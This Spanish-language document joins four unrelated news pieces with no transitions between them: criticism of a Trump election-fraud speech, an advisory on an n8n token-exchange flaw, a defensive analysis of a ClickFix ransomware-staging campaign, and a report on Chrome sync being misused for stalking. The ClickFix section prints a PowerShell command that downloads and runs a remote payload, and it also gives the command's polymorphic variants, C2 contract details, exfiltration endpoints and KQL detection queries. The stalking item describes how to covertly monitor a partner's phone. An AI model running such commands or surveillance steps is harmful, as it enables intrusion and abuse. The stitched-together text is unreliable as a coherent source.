Funcionarios estatales y locales y expertos en seguridad electoral criticaron en gran medida un discurso del jueves por la noche en horario estelar del presidente Donald Trump, diciendo que reflejaba la “desesperación” de la Casa Blanca por encontrar alguna evidencia creíble que respalde sus afirmaciones de que las elecciones estadounidenses han sido manipuladas en contra del presidente de dos mandatos.
Si bien la Casa Blanca provocó nuevas y explosivas afirmaciones sobre el posible compromiso de las elecciones estadounidenses por parte de China, el discurso de Trump fue un refrito de afirmaciones que no tienen pruebas que las respalden y que han sido refutadas repetidamente cuando se las investiga.
David Becker, director ejecutivo del Centro para la Innovación e Investigación Electoral y ex abogado electoral y de derechos civiles del Departamento de Justicia, dijo que ninguna de las afirmaciones o acusaciones de Trump eran nuevas o sustancialmente diferentes de las teorías anteriores que ha estado defendiendo durante los últimos seis años.
“La Casa Blanca prometió una bomba y entregó un fracaso”, dijo Becker en una llamada con periodistas el viernes. “No hubo nada que cuestione siquiera las elecciones pasadas; ciertamente no las elecciones de 2020”.
La administración desclasificó una enorme cantidad de documentos de las agencias de inteligencia, y los medios de comunicación continúan examinándolos, pero hasta ahora no se ha encontrado nada que valide remotamente las afirmaciones de la administración sobre la interferencia extranjera de China que le costó a Trump las elecciones de 2020.
De hecho, algunos de los documentos más relevantes encontrados hasta este momento han respaldado la conclusión opuesta: las agencias evaluaron que, si bien China participó en campañas de influencia en torno a las elecciones, no intentaba interferir abiertamente con la infraestructura electoral estadounidense, piratear las máquinas de votación o manipular las papeletas.
John Solomon, ex periodista y escritor de opinión de The Hill contratado por la Casa Blanca para dirigir la investigación, también dijo a los periodistas el jueves que su búsqueda no ha arrojado pruebas de que las elecciones de 2020, 2022 o 2024 se hayan visto afectadas por fraude.
La nueva afirmación importante de Trump (que el Departamento de Seguridad Nacional determinó que cientos de miles de no ciudadanos estaban registrados para votar en cuatro estados) es casi con certeza falsa o exagerada, dado que contradice las auditorías estatales postelectorales que han encontrado rutinariamente números de uno o dos dígitos de no ciudadanos registrados para votar dentro de un solo estado en múltiples elecciones.
Durante los últimos seis años, afirmaciones similares por parte de Secretarios de Estado republicanos y los activistas políticos que pretendían encontrar cantidades masivas de no ciudadanos registrados para votar han resultado estar tremendamente inflados debido a un análisis de datos de mala calidad, y la gran mayoría de los casos que involucran a “presuntos no ciudadanos” resultan ser ciudadanos estadounidenses que están legalmente registrados para votar.
La Casa Blanca ha proporcionado poca o ninguna información sobre la metodología utilizada para señalar e identificar a supuestos votantes no ciudadanos, aparte de aludir al uso de “datos comerciales” y bases de datos federales. Un tribunal federal ordenó recientemente al DHS que desmantelara la base de datos SAVE, su principal base de datos para verificar el estatus de ciudadanía de los votantes estadounidenses, porque no era confiable y violaba leyes de privacidad de larga data.
Aparte de que el DHS admite que sus propios datos sobre ciudadanía están incompletos, Becker dijo que usar una lista que se basa en comparar archivos de votantes con datos comerciales no es una forma confiable de determinar la ciudadanía.
“Es imposible tomar un archivo público de votantes con muy poca información que esté identificada de manera única, como el número de una licencia de conducir, y compararlo con una base de datos comercial y decir con seguridad que María Rodríguez, John Lee o Shawn O'Hara que tienen son la misma persona”, dijo.
Los funcionarios electorales también respondieron enérgicamente. El secretario de Estado demócrata de Nevada, Francisco Aguilar, dijo que Trump ha pasado una década intentando fabricar una crisis en torno al fraude electoral y que el discurso del presidente el jueves por la noche fue una extensión de ese esfuerzo.
“Como director electoral de Nevada, mi trabajo es convocar pelotas y strikes, así que cuando el presidente miente, estoy obligado a denunciarlo”, dijo Aguilar en un comunicado. «Los hechos no han cambiado: las elecciones de Nevada se encuentran entre las más seguras y accesibles del país».
No son sólo los demócratas los que se han opuesto a los esfuerzos de la administración. Los estados republicanos han acudido a los tribunales para impedir que el Departamento de Justicia obtenga sus datos de votantes, y el secretario de estado republicano de Idaho respondió a una carta del Departamento de Justicia que amenazaba con procesar a los funcionarios electorales por considerarlos “no bien cumplidos” y potencialmente ilegales según las leyes de ética estatales.
El discurso de Trump potencialmente arroja luz adicional sobre decisiones recientes de la Casa Blanca, como el despido de los tres comisionados de la Comisión de Asistencia Electoral. La agencia ayuda a certificar la seguridad de las máquinas de votación, y los tres comisionados han trabajado en administraciones y mantienen relaciones cercanas con funcionarios electorales estatales y locales.
Pamela Smith, directora ejecutiva de la organización sin fines de lucro Verified Voting, dijo que si bien la EAC no puede tomar ciertas acciones que necesitan la aprobación del comisionado, «funciones críticas como las pruebas y la certificación del sistema de votación pueden continuar bajo el marco existente y no deberían verse afectadas».
En 2020, las afirmaciones iniciales de Trump sobre un fraude electoral generalizado fueron desmentidas por los líderes de la Agencia de Seguridad de Infraestructura y Ciberseguridad, que dijeron que no había evidencia de que las elecciones estuvieran comprometidas. La destitución de los comisionados de la EAC podría representar un intento de anticiparse a cualquier intento de refutar o criticar las afirmaciones de la Casa Blanca de que las elecciones y las máquinas de votación se han visto comprometidas.
A algunos les preocupa que Trump pueda usar el discurso como pretexto para declarar una emergencia nacional o cancelar elecciones.
Tom Lopach, director ejecutivo del Centro de Participación Electoral, dijo que «no se desmantela la infraestructura de seguridad electoral si se toma en serio la protección de las elecciones».
“Lo desmantelas si planeas afirmar, sin pruebas, que el sistema te falló”, dijo.
Si bien Becker se toma en serio los ataques de Trump contra la autoridad electoral estatal, también dijo que es importante no perder de vista el hecho de que, en su opinión, la administración está perdiendo el argumento en todos los ámbitos.
Más de una docena de tribunales federales han rechazado unánimemente los intentos del gobierno federal de obtener por la fuerza datos de los votantes estatales, mientras que otros tribunales han rechazado partes fundamentales de sus órdenes ejecutivas relacionadas con las elecciones. Los funcionarios estatales han rechazado públicamente (y en ocasiones, con enojo) las demandas de la administración por considerarlas una flagrante extralimitación federal.
Becker predijo que tal acto también sería rápidamente rechazado por los tribunales, señalando que Estados Unidos nunca ha cancelado o pospuesto una elección en sus 250 años de historia, incluso cuando las tropas británicas merodeaban en suelo estadounidense durante la Guerra de 1812 o incluso en el apogeo de la Guerra Civil.
Es importante no confundir las bravuconadas y las intenciones de la Casa Blanca con sus autoridades reales o su capacidad para tomar el control de las elecciones estadounidenses.
“Así es como se ven el pánico y la desesperación”, dijo Becker. «Han tenido 18 meses en control total del gobierno federal y no han encontrado nada que respalde las mentiras del presidente Trump sobre las elecciones de 2020, por lo que simplemente están tratando de agarrar tanta basura como pueden y tirarla contra la pared, y no se pega».
n8n, la plataforma de automatización del flujo de trabajo, entregó las cuentas equivocadas al iniciar sesión. En instancias empresariales configuradas para confiar en más de un emisor de token externo, hizo coincidir un JWT entrante con un usuario local en el sub reclamo solo e ignorado iss.
Un token válido del emisor A que lleva un sub que pertenece a alguien del emisor B, inició sesión como esa persona. Su contraseña nunca apareció. n8n envió la solución el 24 de junio.
El defecto se rastrea como CVE-2026-59208. El registro CVE no se hizo público hasta el 9 de julio. n8n acredita el informe a la cuenta de GitHub ososyankeescuyo perfil incluye a Strix, que fabrica un agente de pruebas de penetración de IA.
estrix dice Señaló que el agente en el flujo de intercambio de tokens encontró el error de vinculación de identidad allí.
El socio firma un JWT de corta duración con su propia clave, n8n lo verifica con una clave pública configurada, hace coincidir los reclamos con una cuenta local y el usuario está dentro. Las claves confiables entran N8N_TOKEN_EXCHANGE_TRUSTED_KEYSy el documentos de implementación aún etiquete la función como vista previa.
El token en sí se verifica. La coincidencia es el error. A sub Solo se garantiza que el valor será único dentro del emisor que lo acuñó. RFC 7519 pide que «tenga un alcance para ser localmente único en el contexto del emisor» o globalmente único. El identificador de un usuario es, por tanto, el par, iss más sub.
n8n codificado en la mitad. Nada impide que dos emisores emitan la misma cadena de asunto y, cuando lo hacen, ambos aterrizan en una cuenta n8n.
¿Qué tan importante es esto?
La falla alcanza una instancia solo si el intercambio de tokens está activado y la configuración confía en al menos dos emisores externos. n8n dice nada más se ve afectado. El intercambio de tokens es solo empresarial y todavía está marcado como una vista previa, por lo que el conjunto expuesto es pequeño y específico: implementaciones OEM, donde confiar en un segundo emisor es una configuración admitida.
Lo que el aviso no especifica es cómo un atacante obtiene el token. Sólo dice que pueden obtener uno. La cuestión práctica es si un usuario normal de un emisor de confianza puede influir en la sub ellos reciben. El registro público no lo contesta. El vector CVSS 4.0 de GitHub marca los requisitos de ataque como presentes y se detiene allí.
GitHub asignó ese vector. Como aquí la CNA pone CVE-2026-59208 a 7.6 en CVSS 4.0, alto. NVD coloca el mismo error en 6.8 en CVSS 3.1, medio, y no ha emitido ninguna evaluación de 4.0; su registro lleva CWE-287 y CWE-346. La evaluación SSVC de CISA del 13 de julio registra ninguna explotación, y The Hacker News no encontró ninguna prueba pública de concepto en las búsquedas del 16 de julio.
Dos semanas antes de la corrección del 24 de junio, los mantenedores parchearon CVE-2026-54305otro defecto exclusivo de Enterprise. Permite que cualquier usuario autenticado sobrescriba o revoque los tokens OAuth almacenados de otro usuario a través de los puntos finales de Credenciales dinámicas. Ése era un control de propiedad faltante, no una vinculación de identidad. Bicho diferente, misma superficie.
The Hacker News se ha puesto en contacto con n8n para obtener confirmación sobre el alcance y el impacto de CVE-2026-59208 y actualizará esta historia con cualquier respuesta.
Parchear o cortar la lista de emisores
CVE-2026-59208 afecta a todas las versiones de n8n inferiores a 2.27.4 y 2.28.0. La solución llegó por primera vez a 2.27.4 y 2.28.1. Esos son el piso. El 16 de julio, el paquete npm de n8n llevaba la versión 2.30.6 en ambos latest y stable etiquetas. Envía un nuevo menor la mayoría de las semanas por su propia cuenta, así que verifique la etiqueta y tome la versión estable más nueva que admita su implementación.
Si la aplicación de parches tiene que esperar, averigüe qué está ejecutando: N8N_TOKEN_EXCHANGE_TRUSTED_KEYS contiene las claves de firma confiables y un indicador de vista previa independiente controla si el intercambio de tokens está activado. Vuelva a centrarse en un único emisor de confianza o desactive la función.
El aviso llama a ambas medidas a corto plazo y dice que ninguna remedia completamente el riesgo. Esto es un texto repetitivo, idéntico en al menos otros tres avisos de n8n, incluido el del 10 de junio. Según la propia declaración de alcance de n8n, una instancia con intercambio de token desactivado no se ve afectada.
Ninguna nota de la versión menciona la solución. The Hacker News comprobó ambos: entre ellos, el 2.27.4 y 2.28.1 Los registros de cambios cubren una corrección de importación de Python, una actualización de un nodo de Google Ads, una verificación del flujo de trabajo de IA y un cambio en la creación de nodos, y nada sobre la identidad.
El aviso es donde éste vive. Si sus decisiones de actualización se basan en registros de cambios, este es el tipo de solución que pasa desapercibida.
CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).
Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.
1. El contexto y la anatomía de la cadena
Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.
La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.
2. ¿Qué es ClickFix? Mecánica y por qué funciona
ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.
El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.
El comando del portapapeles y el polimorfismo sintáctico
El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https:///dl/p/'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https:///dl/p/' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.
¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.
3. El actor y la estructura de afiliados (JokerStat MaaS)
Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.
La plataforma: JokerStat como kit MaaS
El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).
Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.
La post-explotación: solapamiento con Rapid Brigantine
La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.
4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon
Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.
Qué es EtherHiding y de dónde viene
EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.
Cómo funciona en esta campaña, paso a paso
El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.
Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.
Por qué importa: resiliencia frente a auditabilidad
El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.
Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.
El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.
5. Técnicas de evasión
Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.
Esteganografía en PNG y ejecución en memoria con Donut
El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.
DLL sideloading sobre binario firmado
El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.
Exfiltración de pantalla y reinyección dinámica del portapapeles
El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.
Polimorfismo, rotación y persistencia resistente al aislamiento
A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.
6. Post-explotación y staging pre-ransomware
La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.
7. Indicadores de compromiso (IoC)
Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.
__jks_screen_run_ (variable de guarda; marca del kit JokerStat)
Soporte del kit
Telegram @jokerstat_support
Payload PowerShell
iex(irm 'https:///dl/p/' -UseBasicParsing)
8. Mapeo a MITRE ATT&CK
Táctica
Técnica
Aplicación
Initial Access
T1189 Drive-by Compromise
Falsa actualización SocGholish en WordPress comprometido
Execution
T1204.004 · T1059.001
ClickFix → PowerShell ejecutado por la víctima
Defense Evasion
T1027.003 Steganography
Shellcode Donut oculto en píxeles de un PNG
Defense Evasion
T1574.002 DLL Side-Loading
Binario Microsoft firmado carga una DLL maliciosa
Defense Evasion
T1055 Process Injection
Ejecución del shellcode en memoria
Command & Control
T1102 · T1568 (EtherHiding)
Contrato en Polygon como dead-drop resolver + dominios rotatorios
Collection
T1113 Screen Capture
Exfiltración de pantalla con html2canvas cada 120 s
Collection / Exec
T1115 Clipboard Data
Inyección y reescritura dinámica del portapapeles
Credential Access
T1003.001 LSASS Memory
Volcado de credenciales del proceso LSASS
Discovery
T1018 · T1069 (LDAP)
Enumeración de administradores de dominio y equipos
Impact (staging)
T1486 (preparación)
Auto-replicación y preparación del cifrado
9. Recomendaciones de protección
Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.
C1 — Cortar el eslabón humano en el endpoint
Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.
C2 — Gobernar el egress y vigilar la resolución en blockchain
La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.
C3 — Endurecer el endpoint contra la evasión en memoria
Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.
C4 — Redefinir la contención en respuesta a incidentes
Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.
C5 — Cazar la actividad post-explotación como red de seguridad
Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.
10. Detección e ingeniería de cacería
La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.
// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
KQL · Egress hacia RPC de blockchain desde procesos no-navegador
// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
"onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl
KQL · Acceso sospechoso a LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.
Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.
La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.
Fuentes y referencias
Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
Según los investigadores, los acosadores cibernéticos están explotando cada vez más una función de Google Chrome destinada a la comodidad del usuario de teléfonos móviles, pero que puede dar a los intrusos un amplio acceso a la información privada del propietario del dispositivo.
Certo Software dijo en un publicación de blog El martes, los acosadores están haciendo uso de la capacidad de sincronización de Chrome (destinada a que iniciar sesión en Chrome en un dispositivo también sea más fácil hacerlo en otros dispositivos) para espiar el historial de navegación del propietario de un teléfono y obtener acceso a sus contraseñas almacenadas.
Como ejemplo, Certo utilizó el caso de una víctima seudónima, Emma, que había buscado un abogado de familia y visitó un sitio web de apoyo a la violencia doméstica mientras su pareja dormía, solo para que él se lo dijera dos días después.
«Emma había tenido cuidado de usar sólo su propio dispositivo y no había notado que aparecieran nuevas aplicaciones en su teléfono», escribió el cofundador de Certo, Russell Kent-Payne. «Lo que ella no sabía era que semanas antes, durante unos minutos sin supervisión con su teléfono, él había abierto la aplicación Chrome y silenciosamente había iniciado sesión en su propia cuenta de Google. A partir de ese momento, cada sitio que ella visitaba se copiaba directamente a su cuenta, visible desde cualquier dispositivo, en cualquier parte del mundo».
La vigilancia es tan fácil como eso: acceso breve a un teléfono, iniciar sesión en una cuenta de Google y asegurarse de que la sincronización esté activada para esa cuenta.
Eva Galperin, directora de ciberseguridad de Electronic Frontier Foundation, dijo en la aplicación de redes sociales Bluesky que la investigación de Certo sirve como «un importante recordatorio de que el abuso facilitado por la tecnología no se limita sólo al stalkerware».
Certo dijo que Google podría hacer un par de cosas, como proporcionar una notificación temporal cada vez que se agrega una nueva cuenta o se activa la sincronización u ofrecer un marcador regular para indicar cuándo la sincronización está activa y con qué cuenta se está sincronizando, para proteger a los usuarios.
Google no respondió a múltiples solicitudes de comentarios sobre los hallazgos de Certo.
Pero el aumento en el uso de ese método de acecho podría ser un subproducto de los éxitos de seguridad en otros aspectos de la lucha contra el software espía, afirmó Certo.
